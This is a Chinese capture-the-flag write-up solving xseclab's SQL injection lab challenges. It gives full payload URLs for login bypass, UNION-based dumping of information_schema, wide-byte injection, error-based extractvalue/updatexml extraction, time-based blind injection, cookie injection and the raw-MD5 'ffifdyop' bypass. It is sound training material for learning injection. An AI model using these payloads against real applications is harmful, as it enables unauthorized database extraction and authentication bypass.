url:http://lab1.xseclab.com/sqli2_3265b4852c13383560327d1c31550b60/index.php
查看源代码,登录名为admin
最简单的SQL注入,登录名写入一个常规的注入语句:
admin' or '1'='1
密码随便填,验证码填正确的,点击登录
得到我的座右铭(flag)是iamflagsafsfskdf11223
url:http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php
查看源代码,访问url:http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1
构造页面并访问?id=1 and 1=1 返回正常?id=1 and 1=2返回出错,说明存在SQL注入
判断字段数 ?id=1 order by 3页面返回正常,说明有三个字段
判断回显点 ?id=-1 union select 1,2,3 我们可以在如图所示位置进行查询
查询数据库名为mydbs ?id=-1 union select 1,2,database()
查询数据表为sae_user_sqli3
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
查询字段名为id,title,content
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=sae_user_sqli3
查询字段内容 ?id=-1 union select 1,2,content from sae_user_sqli3
得到HKGGflagdfs56757fsdv
url:http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php
本关尝试使用宽字节注入,添加单引号会出现空白页,没有报错,使用?id=1%df'
成功报错,找到注入点
构造语句?id=1%df%27%20or%201=1%23
页面正常回显,说明or语句执行成功可以注入!
构造语句?id=1%df%27%20or%201=1%20limit%202,1%23
得到Hsaagdfs56sdf7fsdv
另外一种方法是像上一关一样操作,只是需要构造语句?id=1%df%27 。。。%23
确定字段长度:
http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df' order by 3 %23
确定显示位:
http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df' union select 1,2,3 %23
得到数据库:
http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) %23
得到列名:
http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=0x7361655f757365725f73716c6934) %23
得到字段:
http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df' union select 1,2,(select group_concat(title_1,content_1) from sae_user_sqli4) %23
url:http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0&num=1
经过测试,只有start参数有作用,num参数并没有作用。
构造payload:
查询数据库名:
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0 procedure analyse (extractvalue(rand(),concat(0x3a,(select database()))),1)%23&num=1
查询数据表名:
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0 procedure analyse (extractvalue(rand(),concat(0x3a,(select group_concat(table_name)from information_schema.tables where table_schema=database()))),1)%23&num=1
查询列名:(由于分号被过滤了,只能将表名转换成16进制)
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0 procedure analyse (extractvalue(rand(),concat(0x3a,(select group_concat(column_name)from information_schema.columns where table_name=0x75736572))),1)%23&num=1
查询flag:myflagishere
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0 procedure analyse (extractvalue(rand(),concat(0x3a,(select password from mydbs.user limit 2,1))),1)%23&num=1
url:http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1.jpg
真的是第一次见图片后缀前面注入,加宽字节注入,因为无回显,所以用burp注入
burp对图片抓包的设置
在上图所示的位置
构造payload:
查询注入点:
http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df'.jpg
页面报错
查询列数:4列
http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df%27 order by 4 %23.jpg
查询显示位:3
http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df%27 union select 1,2,3,4%23.jpg
查询数据库:mydbs
http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df%27 union select 1,2,(select database()),4 %23.jpg
查询表名:article,pic
http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df%27 union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema=database()),4 %23.jpg
查询列名:id,picname,data,text
http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df%27 union select 1,2,(select group_concat(column_name)from information_schema.columns where table_name=0x706963),4 %23.jpg
查询数据(flag):
http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df%27 union select 1,2,(select picname from pic limit 2,1),4 %23.jpg
将图片后缀改为flagishere_askldjfklasjdfl.jpg ,
访问url:http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/flagishere_askldjfklasjdfl.jpg
得到flag is "IamflagIloveyou!"
url :http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin
本题考查mysql的报错注入
查询数据库名:mydbs
?username=admin%27%20or%20updatexml(1,concat(0x7e,(select%20database())),1)%20--%20q
查询数据表名:log,motto,user
?username=admin%27%20or%20updatexml(1,concat(0x7e,(select%20group_concat(table_name) from information_schema.tables where table_schema=database())),1)%20--%20q
查询motto表的下的列名:id,username,motto
?username=admin%27%20or%20updatexml(1,concat(0x7e,(select%20group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='motto')),1)%20--%20q
查询id字段的值:0,1,2,100000
?username=admin%27%20or%20updatexml(1,concat(0x7e,(select%20group_concat(id) from motto)),1)%20--%20q
查询username字段的值:admin,guest,test,#adf#[email protected]@#
?username=admin%27%20or%20updatexml(1,concat(0x7e,(select%20group_concat(username) from motto)),1)%20--%20q
查询motto字段的值:mymotto,happy everyday,nothing
?username=admin%27%20or%20updatexml(1,concat(0x7e,(select%20group_concat(motto) from motto)),1)%20--%20q
对比两次注入的结果,发现username字段比motto字段多一个结果,这说明flag可能就在被隐藏的结果中
再次构造语句,直接查询第四个值,得到notfound! 根据提示flag不带key和#
?username=admin%27%20or%20updatexml(1,concat(0x7e,(select%20(motto) from motto limit 3,1)),1)%20--%20q
url:http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php
本题使用延时盲注
判断当前数据库名长度为5,页面没有延时,说明数据库长度为5
%27+and%20sleep(if((length(database())=5),0,3))--%20q
判断库名第一个值为m,页面没有延时,说明数据库第一个值为m
' and if(substr(database(),1,1)='m',0,sleep(3))-- q
以此类推,数据库名为mydbs
判断表名第一个表的第一个值为l,页面没有延时,说明第一个表的第一个值为l
' and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='l',0,sleep(3))-- q
以此类推,数据表名为log,motto,user
判断motto表中第一个字段的第一个值是i,页面没有延时,users表中第一个字段的第一个值是i
' and if(substr((select column_name from information_schema.columns where table_schema=database() and table_name='motto' limit 0,1),1,1)='i',0,sleep(3))-- q
以此类推,数据表motto中的字段值为id,username,motto
判断motto表中第一个内容的第一个值为m,页面没有延时,motto表中第一个内容的第一个值为m
' and if(substr((select id from motto limit 0,1),1,1)='0',0,sleep(3))-- q
以此类推,得到flag,notfound!
延时注入太慢了,sqlmap跑也比较慢
url:http://lab1.xseclab.com/sqli8_f4af04563c22b18b51d9142ab0bfb13d/index.php?id=1
本题提示过滤了GET/POST,所以我们猜测是否可以进行cookie注入,使用burp抓包
在cookie处构造字段id=1 and 1=1回显正常,id=1 and 1=2回显错误,说明此处存在数字型SQL注入
查询字段数目
id=1 order by 3
最后得到字段数目是3。
查询显示位,得到显示位是2,3
id=1 union select 1,2,3
查询数据库名,得到数据库名为mydbs
id=1 union select 1,2,database()
查询表名,得到在当前数据库中的表有sae_manager_sqli8,sae_user,sqli8
id=1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())
查询sae_manage_sqli8表中的字段,得到了id,username,password这3个字段
id=1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='sae_manager_sqli8')
查询flag,IamFlagCookieInject!
id=1 union select 1,2,password from sae_manager_sqli8
url:http://lab1.xseclab.com/code1_9f44bab1964d2f959cf509763980e156/
查看关键源
"select * from 'user' where userid=".intval($_GET['userid'])." and password='".md5($_GET['pwd'], true) ."'"
对传入的userid使用了intval()函数转化为数字,同时将password使用md5()函数进行转化。这就是一个典型的MD5加密后的SQL注入。
其中最主要的就是md5()函数,当第二个参数为true时,会返回16字符的二进制格式。当为false的时候,返回的就是32字符十六进制数。默认的是false模式。具体的差别通过下面这个代码来看。
md5('123') //202cb962ac59075b964b07152d234b70
md5('123',true) // ,�b�Y[�K-#Kp
只要md5(str,true)之后的值是包含了'or'<trash>这样的字符串,那么sql语句就会变为select * from users where usrid="XXX" and password=''or'<xxx>'。如此就可以绕过了。</xxx></trash>
提供一个字符:ffifdyop
md5后,276f722736c95d99e921722cf9ed621c
可以伪造成
select * from user
where userid='1' and pwd = ''or'6É]™é!r,ùíb'
从而成功绕过,得到Flag: FsdLAG67a6dajsdklsdf
payload:
http://lab1.xseclab.com/code1_9f44bab1964d2f959cf509763980e156/?userid=1&pwd=ffifdyop
文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。
免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。
转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。